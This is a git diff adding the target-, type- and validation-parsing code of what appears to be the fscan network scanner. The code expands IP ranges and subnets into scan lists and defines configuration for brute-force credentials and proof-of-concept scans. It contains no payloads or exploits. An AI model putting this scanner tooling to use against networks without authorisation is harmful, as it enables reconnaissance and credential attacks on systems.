+ if input.TargetURL != "" {
+ urlList := strings.Split(input.TargetURL, ",")
+ for _, rawURL := range urlList {
+ rawURL = strings.TrimSpace(rawURL)
+ if rawURL != "" {
+ if valid, err := tp.validateURL(rawURL); valid {
+ urls = append(urls, rawURL)
+ } else {
+ warnings = append(warnings, fmt.Sprintf("无效URL: %s - %s", rawURL, err.Error()))
+ }
+ }
+ }
+ }
+
+ // 从文件读取URL
+ if input.URLsFile != "" {
+ fileResult, err := tp.fileReader.ReadFile(input.URLsFile)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeFileError, "读取URL文件失败", input.URLsFile, 0, err))
+ } else {
+ for i, line := range fileResult.Lines {
+ if valid, err := tp.validateURL(line); valid {
+ urls = append(urls, line)
+ } else {
+ warnings = append(warnings, fmt.Sprintf("URL文件第%d行无效: %s", i+1, err.Error()))
+ }
+ }
+ }
+ }
+
+ // 去重
+ urls = tp.removeDuplicateStrings(urls)
+
+ return urls, errors, warnings
+}
+
+// parsePorts 解析端口
+func (tp *TargetParser) parsePorts(input *TargetInput) ([]int, []error, []string) {
+ var ports []int
+ var errors []error
+ var warnings []string
+
+ // 解析命令行端口
+ if input.Ports != "" {
+ portList, err := tp.parsePortList(input.Ports)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypePortError, err.Error(), "command line", 0, err))
+ } else {
+ ports = append(ports, portList...)
+ }
+ }
+
+ // 从文件读取端口
+ if input.PortsFile != "" {
+ fileResult, err := tp.fileReader.ReadFile(input.PortsFile)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeFileError, "读取端口文件失败", input.PortsFile, 0, err))
+ } else {
+ for i, line := range fileResult.Lines {
+ portList, err := tp.parsePortList(line)
+ if err != nil {
+ warnings = append(warnings, fmt.Sprintf("端口文件第%d行解析失败: %s", i+1, err.Error()))
+ } else {
+ ports = append(ports, portList...)
+ }
+ }
+ }
+ }
+
+ // 处理额外端口
+ if input.AddPorts != "" {
+ addPortList, err := tp.parsePortList(input.AddPorts)
+ if err != nil {
+ warnings = append(warnings, fmt.Sprintf("额外端口解析失败: %s", err.Error()))
+ } else {
+ ports = append(ports, addPortList...)
+ }
+ }
+
+ // 去重和排序
+ ports = tp.removeDuplicatePorts(ports)
+
+ return ports, errors, warnings
+}
+
+// parseExcludePorts 解析排除端口
+func (tp *TargetParser) parseExcludePorts(input *TargetInput) ([]int, []error, []string) {
+ var excludePorts []int
+ var errors []error
+ var warnings []string
+
+ if input.ExcludePorts != "" {
+ portList, err := tp.parsePortList(input.ExcludePorts)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeExcludePortError, err.Error(), "command line", 0, err))
+ } else {
+ excludePorts = portList
+ }
+ }
+
+ return excludePorts, errors, warnings
+}
+
+// parseHostPorts 解析主机端口组合
+func (tp *TargetParser) parseHostPorts(input *TargetInput) ([]string, []error, []string) {
+ var hostPorts []string
+ var errors []error
+ var warnings []string
+
+ for _, hp := range input.HostPort {
+ if hp != "" {
+ if valid, err := tp.validateHostPort(hp); valid {
+ hostPorts = append(hostPorts, hp)
+ } else {
+ warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", hp, err.Error()))
+ }
+ }
+ }
+
+ return hostPorts, errors, warnings
+}
+
+// parseHostList 解析主机列表
+func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
+ if hostStr == "" {
+ return nil, nil
+ }
+
+ var hosts []string
+ hostItems := strings.Split(hostStr, ",")
+
+ for _, item := range hostItems {
+ item = strings.TrimSpace(item)
+ if item == "" {
+ continue
+ }
+
+ // 检查各种IP格式
+ switch {
+ case item == PrivateNetwork192:
+ // 常用内网段简写
+ cidrHosts, err := tp.parseCIDR(PrivateNetwork192CIDR)
+ if err != nil {
+ return nil, fmt.Errorf("192网段解析失败: %v", err)
+ }
+ hosts = append(hosts, cidrHosts...)
+ case item == PrivateNetwork172:
+ // 常用内网段简写
+ cidrHosts, err := tp.parseCIDR(PrivateNetwork172CIDR)
+ if err != nil {
+ return nil, fmt.Errorf("172网段解析失败: %v", err)
+ }
+ hosts = append(hosts, cidrHosts...)
+ case item == PrivateNetwork10:
+ // 常用内网段简写
+ cidrHosts, err := tp.parseCIDR(PrivateNetwork10CIDR)
+ if err != nil {
+ return nil, fmt.Errorf("10网段解析失败: %v", err)
+ }
+ hosts = append(hosts, cidrHosts...)
+ case strings.HasSuffix(item, "/8"):
+ // 处理/8网段(使用采样方式)
+ sampledHosts := tp.parseSubnet8(item)
+ hosts = append(hosts, sampledHosts...)
+ case strings.Contains(item, "/"):
+ // CIDR表示法
+ cidrHosts, err := tp.parseCIDR(item)
+ if err != nil {
+ return nil, fmt.Errorf("CIDR解析失败 %s: %v", item, err)
+ }
+ hosts = append(hosts, cidrHosts...)
+ case strings.Contains(item, "-"):
+ // IP范围表示法
+ rangeHosts, err := tp.parseIPRange(item)
+ if err != nil {
+ return nil, fmt.Errorf("IP范围解析失败 %s: %v", item, err)
+ }
+ hosts = append(hosts, rangeHosts...)
+ default:
+ // 检查是否为host:port格式
+ if strings.Contains(item, ":") {
+ if _, portStr, err := net.SplitHostPort(item); err == nil {
+ // 验证端口号
+ if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
+ // 这是有效的host:port格式,但在这里仍然作为主机处理
+ // 在后续的processHostPorts函数中会被正确处理
+ hosts = append(hosts, item)
+ } else {
+ // 端口无效,作为普通主机处理
+ hosts = append(hosts, item)
+ }
+ } else {
+ // 不是有效的host:port格式,作为普通主机处理
+ hosts = append(hosts, item)
+ }
+ } else {
+ // 单个IP或域名
+ hosts = append(hosts, item)
+ }
+ }
+ }
+
+ return hosts, nil
+}
+
+// parsePortList 解析端口列表,支持预定义端口组
+func (tp *TargetParser) parsePortList(portStr string) ([]int, error) {
+ if portStr == "" {
+ return nil, nil
+ }
+
+ // 检查是否为预定义端口组
+ portStr = tp.expandPortGroups(portStr)
+
+ var ports []int
+ portItems := strings.Split(portStr, ",")
+
+ for _, item := range portItems {
+ item = strings.TrimSpace(item)
+ if item == "" {
+ continue
+ }
+
+ if strings.Contains(item, "-") {
+ // 端口范围
+ rangePorts, err := tp.parsePortRange(item)
+ if err != nil {
+ return nil, fmt.Errorf("端口范围解析失败 %s: %v", item, err)
+ }
+
+ // 检查范围大小
+ if len(rangePorts) > tp.options.MaxPortRange {
+ return nil, fmt.Errorf("端口范围过大: %d, 最大允许: %d", len(rangePorts), tp.options.MaxPortRange)
+ }
+
+ ports = append(ports, rangePorts...)
+ } else {
+ // 单个端口
+ port, err := strconv.Atoi(item)
+ if err != nil {
+ return nil, fmt.Errorf("无效端口号: %s", item)
+ }
+
+ if port < MinPort || port > MaxPort {
+ return nil, fmt.Errorf("端口号超出范围: %d", port)
+ }
+
+ ports = append(ports, port)
+ }
+ }
+
+ return ports, nil
+}
+
+// expandPortGroups 展开预定义端口组
+func (tp *TargetParser) expandPortGroups(portStr string) string {
+ // 使用预定义的端口组
+ portGroups := GetTargetPortGroups()
+
+ if expandedPorts, exists := portGroups[portStr]; exists {
+ return expandedPorts
+ }
+ return portStr
+}
+
+// parseCIDR 解析CIDR网段
+func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) {
+ _, ipNet, err := net.ParseCIDR(cidr)
+ if err != nil {
+ return nil, err
+ }
+
+ var ips []string
+ ip := make(net.IP, len(ipNet.IP))
+ copy(ip, ipNet.IP)
+
+ count := 0
+ for ipNet.Contains(ip) {
+ ips = append(ips, ip.String())
+ count++
+
+ // 防止生成过多IP
+ if count >= tp.options.MaxTargets {
+ break
+ }
+
+ tp.nextIP(ip)
+ }
+
+ return ips, nil
+}
+
+// parseIPRange 解析IP范围,支持简写格式
+func (tp *TargetParser) parseIPRange(rangeStr string) ([]string, error) {
+ parts := strings.Split(rangeStr, "-")
+ if len(parts) != 2 {
+ return nil, fmt.Errorf("无效的IP范围格式")
+ }
+
+ startIPStr := strings.TrimSpace(parts[0])
+ endIPStr := strings.TrimSpace(parts[1])
+
+ // 验证起始IP
+ startIP := net.ParseIP(startIPStr)
+ if startIP == nil {
+ return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr)
+ }
+
+ // 处理简写格式 (如: 192.168.1.1-100)
+ if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
+ return tp.parseShortIPRange(startIPStr, endIPStr)
+ }
+
+ // 处理完整格式 (如: 192.168.1.1-192.168.1.100)
+ endIP := net.ParseIP(endIPStr)
+ if endIP == nil {
+ return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr)
+ }
+
+ return tp.parseFullIPRange(startIP, endIP)
+}
+
+// parseShortIPRange 解析简写格式的IP范围
+func (tp *TargetParser) parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
+ // 将结束段转换为数字
+ endNum, err := strconv.Atoi(endSuffix)
+ if err != nil || endNum > MaxIPv4OctetValue {
+ return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix)
+ }
+
+ // 分解起始IP
+ ipParts := strings.Split(startIPStr, ".")
+ if len(ipParts) != IPv4OctetCount {
+ return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr)
+ }
+
+ // 获取前缀和起始IP的最后一部分
+ prefixIP := strings.Join(ipParts[0:3], ".")
+ startNum, err := strconv.Atoi(ipParts[3])
+ if err != nil || startNum > endNum {
+ return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix)
+ }
+
+ // 生成IP范围
+ var allIP []string
+ for i := startNum; i <= endNum; i++ {
+ allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
+ }
+
+ return allIP, nil
+}
+
+// parseFullIPRange 解析完整格式的IP范围
+func (tp *TargetParser) parseFullIPRange(startIP, endIP net.IP) ([]string, error) {
+ // 转换为IPv4
+ start4 := startIP.To4()
+ end4 := endIP.To4()
+ if start4 == nil || end4 == nil {
+ return nil, fmt.Errorf("仅支持IPv4地址范围")
+ }
+
+ // 计算IP地址的整数表示
+ startInt := (int(start4[0]) << IPFirstOctetShift) | (int(start4[1]) << IPSecondOctetShift) | (int(start4[2]) << IPThirdOctetShift) | int(start4[3])
+ endInt := (int(end4[0]) << IPFirstOctetShift) | (int(end4[1]) << IPSecondOctetShift) | (int(end4[2]) << IPThirdOctetShift) | int(end4[3])
+
+ // 检查范围的有效性
+ if startInt > endInt {
+ return nil, fmt.Errorf("起始IP大于结束IP")
+ }
+
+ // 限制IP范围的大小,防止生成过多IP导致内存问题
+ if endInt-startInt > tp.options.MaxTargets {
+ return nil, fmt.Errorf("IP范围过大,超过最大限制: %d", tp.options.MaxTargets)
+ }
+
+ // 生成IP范围
+ var allIP []string
+ for ipInt := startInt; ipInt <= endInt; ipInt++ {
+ ip := fmt.Sprintf("%d.%d.%d.%d",
+ (ipInt>>IPFirstOctetShift)&IPOctetMask,
+ (ipInt>>IPSecondOctetShift)&IPOctetMask,
+ (ipInt>>IPThirdOctetShift)&IPOctetMask,
+ ipInt&IPOctetMask)
+ allIP = append(allIP, ip)
+ }
+
+ return allIP, nil
+}
+
+// parseSubnet8 解析/8网段的IP地址,生成采样IP列表
+func (tp *TargetParser) parseSubnet8(subnet string) []string {
+ // 去除CIDR后缀获取基础IP
+ baseIP := subnet[:len(subnet)-2]
+ if net.ParseIP(baseIP) == nil {
+ return nil
+ }
+
+ // 获取/8网段的第一段
+ firstOctet := strings.Split(baseIP, ".")[0]
+ var sampleIPs []string
+
+ // 对常用网段进行更全面的扫描
+ commonSecondOctets := GetCommonSecondOctets()
+
+ // 对于每个选定的第二段,采样部分第三段
+ for _, secondOctet := range commonSecondOctets {
+ for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8ThirdOctetStep {
+ // 添加常见的网关和服务器IP
+ sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet)) // 默认网关
+ sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, RouterSwitchLastOctet)) // 通常用于路由器/交换机
+
+ // 随机采样不同范围的主机IP
+ fourthOctet := tp.randomInt(SamplingMinHost, SamplingMaxHost)
+ sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
+ }
+ }
+
+ // 对其他二级网段进行稀疏采样
+ for secondOctet := 0; secondOctet < 256; secondOctet += Subnet8SamplingStep {
+ for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8SamplingStep {
+ // 对于采样的网段,取几个代表性IP
+ sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet))
+ sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, tp.randomInt(SamplingMinHost, SamplingMaxHost)))
+ }
+ }
+
+ // 限制采样数量
+ if len(sampleIPs) > tp.options.MaxTargets {
+ sampleIPs = sampleIPs[:tp.options.MaxTargets]
+ }
+
+ return sampleIPs
+}
+
+// randomInt 生成指定范围内的随机整数
+func (tp *TargetParser) randomInt(min, max int) int {
+ if min >= max || min < 0 || max <= 0 {
+ return max
+ }
+ return min + (max-min)/2 // 简化版本,避免依赖rand
+}
+
+// parsePortRange 解析端口范围
+func (tp *TargetParser) parsePortRange(rangeStr string) ([]int, error) {
+ parts := strings.Split(rangeStr, "-")
+ if len(parts) != 2 {
+ return nil, fmt.Errorf("无效的端口范围格式")
+ }
+
+ startPort, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
+ endPort, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
+
+ if err1 != nil || err2 != nil {
+ return nil, fmt.Errorf("无效的端口号")
+ }
+
+ if startPort > endPort {
+ startPort, endPort = endPort, startPort
+ }
+
+ if startPort < MinPort || endPort > MaxPort {
+ return nil, fmt.Errorf("端口号超出范围")
+ }
+
+ var ports []int
+ for port := startPort; port <= endPort; port++ {
+ ports = append(ports, port)
+ }
+
+ return ports, nil
+}
+
+// nextIP 获取下一个IP地址
+func (tp *TargetParser) nextIP(ip net.IP) {
+ for j := len(ip) - 1; j >= 0; j-- {
+ ip[j]++
+ if ip[j] > 0 {
+ break
+ }
+ }
+}
+
+// validateHost 验证主机地址
+func (tp *TargetParser) validateHost(host string) (bool, error) {
+ if host == "" {
+ return false, fmt.Errorf("主机地址为空")
+ }
+
+ // 检查是否为host:port格式
+ if strings.Contains(host, ":") {
+ // 可能是host:port格式,尝试分离
+ if h, portStr, err := net.SplitHostPort(host); err == nil {
+ // 验证端口号
+ if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
+ // 递归验证主机部分(不包含端口)
+ return tp.validateHost(h)
+ }
+ }
+ // 如果不是有效的host:port格式,继续按普通主机地址处理
+ }
+
+ // 检查是否为IP地址
+ if ip := net.ParseIP(host); ip != nil {
+ return tp.validateIP(ip)
+ }
+
+ // 检查是否为域名
+ if tp.isValidDomain(host) {
+ return true, nil
+ }
+
+ return false, fmt.Errorf("无效的主机地址格式")
+}
+
+// validateIP 验证IP地址
+func (tp *TargetParser) validateIP(ip net.IP) (bool, error) {
+ if ip == nil {
+ return false, fmt.Errorf("IP地址为空")
+ }
+
+ // 检查是否为私有IP
+ if !tp.options.AllowPrivateIPs && tp.isPrivateIP(ip) {
+ return false, fmt.Errorf("不允许私有IP地址")
+ }
+
+ // 检查是否为回环地址
+ if !tp.options.AllowLoopback && ip.IsLoopback() {
+ return false, fmt.Errorf("不允许回环地址")
+ }
+
+ return true, nil
+}
+
+// validateURL 验证URL
+func (tp *TargetParser) validateURL(rawURL string) (bool, error) {
+ if rawURL == "" {
+ return false, fmt.Errorf("URL为空")
+ }
+
+ if !tp.options.ValidateURLs {
+ return true, nil
+ }
+
+ if !tp.urlRegex.MatchString(rawURL) {
+ return false, fmt.Errorf("URL格式无效")
+ }
+
+ // 进一步验证URL格式
+ _, err := url.Parse(rawURL)
+ if err != nil {
+ return false, fmt.Errorf("URL解析失败: %v", err)
+ }
+
+ return true, nil
+}
+
+// validateHostPort 验证主机端口组合
+func (tp *TargetParser) validateHostPort(hostPort string) (bool, error) {
+ parts := strings.Split(hostPort, ":")
+ if len(parts) != 2 {
+ return false, fmt.Errorf("主机端口格式无效,应为 host:port")
+ }
+
+ host := strings.TrimSpace(parts[0])
+ portStr := strings.TrimSpace(parts[1])
+
+ // 验证主机
+ if valid, err := tp.validateHost(host); !valid {
+ return false, fmt.Errorf("主机无效: %v", err)
+ }
+
+ // 验证端口
+ port, err := strconv.Atoi(portStr)
+ if err != nil {
+ return false, fmt.Errorf("端口号无效: %s", portStr)
+ }
+
+ if port < MinPort || port > MaxPort {
+ return false, fmt.Errorf("端口号超出范围: %d", port)
+ }
+
+ return true, nil
+}
+
+// isPrivateIP 检查是否为私有IP
+func (tp *TargetParser) isPrivateIP(ip net.IP) bool {
+ if ip4 := ip.To4(); ip4 != nil {
+ // 10.0.0.0/8
+ if ip4[0] == 10 {
+ return true
+ }
+ // 172.16.0.0/12
+ if ip4[0] == 172 && ip4[1] >= Private172StartSecondOctet && ip4[1] <= Private172EndSecondOctet {
+ return true
+ }
+ // 192.168.0.0/16
+ if ip4[0] == 192 && ip4[1] == Private192SecondOctet {
+ return true
+ }
+ }
+ return false
+}
+
+// isValidDomain 检查是否为有效域名
+func (tp *TargetParser) isValidDomain(domain string) bool {
+ return CompiledDomainRegex.MatchString(domain) && len(domain) <= MaxDomainLength
+}
+
+// excludeHosts 排除指定主机
+func (tp *TargetParser) excludeHosts(hosts, excludeList []string) []string {
+ excludeMap := make(map[string]struct{})
+ for _, exclude := range excludeList {
+ excludeMap[exclude] = struct{}{}
+ }
+
+ var result []string
+ for _, host := range hosts {
+ if _, excluded := excludeMap[host]; !excluded {
+ result = append(result, host)
+ }
+ }
+
+ return result
+}
+
+// removeDuplicateStrings 去重字符串切片
+func (tp *TargetParser) removeDuplicateStrings(slice []string) []string {
+ seen := make(map[string]struct{})
+ var result []string
+
+ for _, item := range slice {
+ if _, exists := seen[item]; !exists {
+ seen[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+
+ return result
+}
+
+// removeDuplicatePorts 去重端口切片
+func (tp *TargetParser) removeDuplicatePorts(slice []int) []int {
+ seen := make(map[int]struct{})
+ var result []int
+
+ for _, item := range slice {
+ if _, exists := seen[item]; !exists {
+ seen[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+
+ return result
+}
+
+// generateStatistics 生成统计信息
+func (tp *TargetParser) generateStatistics(hosts, urls []string, ports, excludePorts []int) *TargetStatistics {
+ return &TargetStatistics{
+ TotalHosts: len(hosts),
+ TotalURLs: len(urls),
+ TotalPorts: len(ports),
+ ExcludedPorts: len(excludePorts),
+ }
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
+// =============================================================================================
\ No newline at end of file
diff --git a/common/parsers/Types.go b/common/parsers/Types.go
new file mode 100644
index 0000000..e5cc3b3
--- /dev/null
+++ b/common/parsers/Types.go
@@ -0,0 +1,163 @@
+package parsers
+
+import (
+ "errors"
+ "fmt"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+// ParsedConfig 解析后的完整配置
+type ParsedConfig struct {
+ Targets *TargetConfig `json:"targets"`
+ Credentials *CredentialConfig `json:"credentials"`
+ Network *NetworkConfig `json:"network"`
+ Validation *ValidationConfig `json:"validation"`
+}
+
+// TargetConfig 目标配置
+type TargetConfig struct {
+ Hosts []string `json:"hosts"`
+ URLs []string `json:"urls"`
+ Ports []int `json:"ports"`
+ ExcludePorts []int `json:"exclude_ports"`
+ HostPorts []string `json:"host_ports"`
+ LocalMode bool `json:"local_mode"`
+ Statistics *TargetStatistics `json:"statistics,omitempty"`
+}
+
+// TargetStatistics 目标解析统计
+type TargetStatistics struct {
+ TotalHosts int `json:"total_hosts"`
+ TotalURLs int `json:"total_urls"`
+ TotalPorts int `json:"total_ports"`
+ ExcludedHosts int `json:"excluded_hosts"`
+ ExcludedPorts int `json:"excluded_ports"`
+}
+
+// CredentialConfig 认证配置
+type CredentialConfig struct {
+ Usernames []string `json:"usernames"`
+ Passwords []string `json:"passwords"`
+ HashValues []string `json:"hash_values"`
+ HashBytes [][]byte `json:"hash_bytes,omitempty"`
+ SshKeyPath string `json:"ssh_key_path"`
+ Domain string `json:"domain"`
+ Statistics *CredentialStats `json:"statistics,omitempty"`
+}
+
+// CredentialStats 认证配置统计
+type CredentialStats struct {
+ TotalUsernames int `json:"total_usernames"`
+ TotalPasswords int `json:"total_passwords"`
+ TotalHashes int `json:"total_hashes"`
+ UniqueUsernames int `json:"unique_usernames"`
+ UniquePasswords int `json:"unique_passwords"`
+ ValidHashes int `json:"valid_hashes"`
+ InvalidHashes int `json:"invalid_hashes"`
+}
+
+// NetworkConfig 网络配置
+type NetworkConfig struct {
+ HttpProxy string `json:"http_proxy"`
+ Socks5Proxy string `json:"socks5_proxy"`
+ Timeout time.Duration `json:"timeout"`
+ WebTimeout time.Duration `json:"web_timeout"`
+ DisablePing bool `json:"disable_ping"`
+ EnableDNSLog bool `json:"enable_dns_log"`
+ UserAgent string `json:"user_agent"`
+ Cookie string `json:"cookie"`
+}
+
+// ValidationConfig 验证配置
+type ValidationConfig struct {
+ ScanMode string `json:"scan_mode"`
+ ConflictChecked bool `json:"conflict_checked"`
+ Errors []error `json:"errors,omitempty"`
+ Warnings []string `json:"warnings,omitempty"`
+}
+
+// ParseResult 解析结果
+type ParseResult struct {
+ Config *ParsedConfig `json:"config"`
+ Success bool `json:"success"`
+ Errors []error `json:"errors,omitempty"`
+ Warnings []string `json:"warnings,omitempty"`
+ ParseTime time.Duration `json:"parse_time"`
+}
+
+// 预定义错误类型
+var (
+ ErrEmptyInput = errors.New(i18n.GetText("parser_empty_input"))
+)
+
+// ParserOptions 解析器选项
+type ParserOptions struct {
+ EnableConcurrency bool // 启用并发解析
+ MaxWorkers int // 最大工作协程数
+ Timeout time.Duration // 解析超时时间
+ EnableValidation bool // 启用详细验证
+ EnableStatistics bool // 启用统计信息
+ IgnoreErrors bool // 忽略非致命错误
+ FileMaxSize int64 // 文件最大大小限制
+ MaxTargets int // 最大目标数量限制
+}
+
+// DefaultParserOptions 返回默认解析器选项
+func DefaultParserOptions() *ParserOptions {
+ return &ParserOptions{
+ EnableConcurrency: DefaultEnableConcurrency,
+ MaxWorkers: DefaultMaxWorkers,
+ Timeout: DefaultTimeout,
+ EnableValidation: DefaultEnableValidation,
+ EnableStatistics: DefaultEnableStatistics,
+ IgnoreErrors: DefaultIgnoreErrors,
+ FileMaxSize: DefaultFileMaxSize,
+ MaxTargets: DefaultMaxTargets,
+ }
+}
+
+// Parser 解析器接口
+type Parser interface {
+ Parse(options *ParserOptions) (*ParseResult, error)
+ Validate() error
+ GetStatistics() interface{}
+}
+
+// FileSource 文件源
+type FileSource struct {
+ Path string `json:"path"`
+ Size int64 `json:"size"`
+ ModTime time.Time `json:"mod_time"`
+ LineCount int `json:"line_count"`
+ ValidLines int `json:"valid_lines"`
+}
+
+// ParseError 解析错误,包含详细上下文
+type ParseError struct {
+ Type string `json:"type"`
+ Message string `json:"message"`
+ Source string `json:"source"`
+ Line int `json:"line,omitempty"`
+ Context string `json:"context,omitempty"`
+ Original error `json:"original,omitempty"`
+}
+
+func (e *ParseError) Error() string {
+ if e.Line > 0 {
+ return fmt.Sprintf("%s:%d - %s: %s", e.Source, e.Line, e.Type, e.Message)
+ }
+ return fmt.Sprintf("%s - %s: %s", e.Source, e.Type, e.Message)
+}
+
+// NewParseError 创建解析错误
+func NewParseError(errType, message, source string, line int, original error) *ParseError {
+ return &ParseError{
+ Type: errType,
+ Message: message,
+ Source: source,
+ Line: line,
+ Original: original,
+ }
+}
diff --git a/common/parsers/ValidationParser.go b/common/parsers/ValidationParser.go
new file mode 100644
index 0000000..4bf6e3b
--- /dev/null
+++ b/common/parsers/ValidationParser.go
@@ -0,0 +1,293 @@
+package parsers
+
+import (
+ "fmt"
+ "sync"
+ "time"
+)
+
+// ValidationParser 参数验证解析器
+type ValidationParser struct {
+ mu sync.RWMutex //nolint:unused // reserved for future thread safety
+ options *ValidationParserOptions
+}
+
+// ValidationParserOptions 验证解析器选项
+type ValidationParserOptions struct {
+ StrictMode bool `json:"strict_mode"` // 严格模式
+ AllowEmpty bool `json:"allow_empty"` // 允许空配置
+ CheckConflicts bool `json:"check_conflicts"` // 检查参数冲突
+ ValidateTargets bool `json:"validate_targets"` // 验证目标有效性
+ ValidateNetwork bool `json:"validate_network"` // 验证网络配置
+ MaxErrorCount int `json:"max_error_count"` // 最大错误数量
+}
+
+// DefaultValidationParserOptions 默认验证解析器选项
+func DefaultValidationParserOptions() *ValidationParserOptions {
+ return &ValidationParserOptions{
+ StrictMode: DefaultStrictMode,
+ AllowEmpty: DefaultAllowEmpty,
+ CheckConflicts: DefaultCheckConflicts,
+ ValidateTargets: DefaultValidateTargets,
+ ValidateNetwork: DefaultValidateNetwork,
+ MaxErrorCount: DefaultMaxErrorCount,
+ }
+}
+
+// NewValidationParser 创建验证解析器
+func NewValidationParser(options *ValidationParserOptions) *ValidationParser {
+ if options == nil {
+ options = DefaultValidationParserOptions()
+ }
+
+ return &ValidationParser{
+ options: options,
+ }
+}
+
+// ValidationInput 验证输入参数
+type ValidationInput struct {
+ // 扫描模式
+ ScanMode string `json:"scan_mode"`
+ LocalMode bool `json:"local_mode"`
+
+ // 目标配置
+ HasHosts bool `json:"has_hosts"`
+ HasURLs bool `json:"has_urls"`
+ HasPorts bool `json:"has_ports"`
+
+ // 网络配置
+ HasProxy bool `json:"has_proxy"`
+ DisablePing bool `json:"disable_ping"`
+
+ // 凭据配置
+ HasCredentials bool `json:"has_credentials"`
+
+ // 特殊模式
+ PocScan bool `json:"poc_scan"`
+ BruteScan bool `json:"brute_scan"`
+ LocalScan bool `json:"local_scan"`
+}
+
+// ConflictRule 冲突规则
+type ConflictRule struct {
+ Name string `json:"name"`
+ Description string `json:"description"`
+ Fields []string `json:"fields"`
+ Severity string `json:"severity"` // error, warning, info
+}
+
+// ValidationRule 验证规则
+type ValidationRule struct {
+ Name string `json:"name"`
+ Description string `json:"description"`
+ Validator func(input *ValidationInput) error `json:"-"`
+ Severity string `json:"severity"`
+}
+
+// Parse 执行参数验证
+func (vp *ValidationParser) Parse(input *ValidationInput, config *ParsedConfig, options *ParserOptions) (*ParseResult, error) {
+ if input == nil {
+ return nil, NewParseError(ErrorTypeInputError, "验证输入为空", "", 0, ErrEmptyInput)
+ }
+
+ startTime := time.Now()
+ result := &ParseResult{
+ Config: &ParsedConfig{
+ Validation: &ValidationConfig{
+ ScanMode: input.ScanMode,
+ ConflictChecked: true,
+ },
+ },
+ Success: true,
+ }
+
+ var errors []error
+ var warnings []string
+
+ // 基础验证
+ basicErrors, basicWarnings := vp.validateBasic(input)
+ errors = append(errors, basicErrors...)
+ warnings = append(warnings, basicWarnings...)
+
+ // 冲突检查
+ if vp.options.CheckConflicts {
+ conflictErrors, conflictWarnings := vp.checkConflicts(input)
+ errors = append(errors, conflictErrors...)
+ warnings = append(warnings, conflictWarnings...)
+ }
+
+ // 逻辑验证
+ logicErrors, logicWarnings := vp.validateLogic(input, config)
+ errors = append(errors, logicErrors...)
+ warnings = append(warnings, logicWarnings...)
+
+
+ // 性能建议
+ performanceWarnings := vp.checkPerformance(input, config)
+ warnings = append(warnings, performanceWarnings...)
+
+ // 检查错误数量限制
+ if len(errors) > vp.options.MaxErrorCount {
+ errors = errors[:vp.options.MaxErrorCount]
+ warnings = append(warnings, fmt.Sprintf("错误数量过多,仅显示前%d个", vp.options.MaxErrorCount))
+ }
+
+ // 更新结果
+ result.Config.Validation.Errors = errors
+ result.Config.Validation.Warnings = warnings
+ result.Errors = errors
+ result.Warnings = warnings
+ result.ParseTime = time.Since(startTime)
+ result.Success = len(errors) == 0
+
+ return result, nil
+}
+
+// validateBasic 基础验证
+func (vp *ValidationParser) validateBasic(input *ValidationInput) ([]error, []string) {
+ var errors []error
+ var warnings []string
+
+ // 检查是否有任何目标
+ if !input.HasHosts && !input.HasURLs && !input.LocalMode {
+ if !vp.options.AllowEmpty {
+ errors = append(errors, NewParseError("VALIDATION_ERROR", "未指定任何扫描目标", "basic", 0, nil))
+ } else {
+ warnings = append(warnings, "未指定扫描目标,将使用默认配置")
+ }
+ }
+
+ // 检查扫描模式
+ if input.ScanMode != "" {
+ if err := vp.validateScanMode(input.ScanMode); err != nil {
+ if vp.options.StrictMode {
+ errors = append(errors, err)
+ } else {
+ warnings = append(warnings, err.Error())
+ }
+ }
+ }
+
+ return errors, warnings
+}
+
+// checkConflicts 检查参数冲突
+func (vp *ValidationParser) checkConflicts(input *ValidationInput) ([]error, []string) {
+ var errors []error
+ var warnings []string
+
+ // 定义冲突规则 (预留用于扩展)
+ _ = []ConflictRule{
+ {
+ Name: "multiple_scan_modes",
+ Description: "不能同时使用多种扫描模式",
+ Fields: []string{"hosts", "urls", "local_mode"},
+ Severity: "error",
+ },
+ {
+ Name: "proxy_with_ping",
+ Description: "使用代理时建议禁用Ping检测",
+ Fields: []string{"proxy", "ping"},
+ Severity: "warning",
+ },
+ }
+
+ // 检查扫描模式冲突
+ scanModes := 0
+ if input.HasHosts {
+ scanModes++
+ }
+ if input.HasURLs {
+ scanModes++
+ }
+ if input.LocalMode {
+ scanModes++
+ }
+
+ if scanModes > 1 {
+ errors = append(errors, NewParseError("CONFLICT_ERROR",
+ "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)", "validation", 0, nil))
+ }
+
+ // 检查代理和Ping冲突
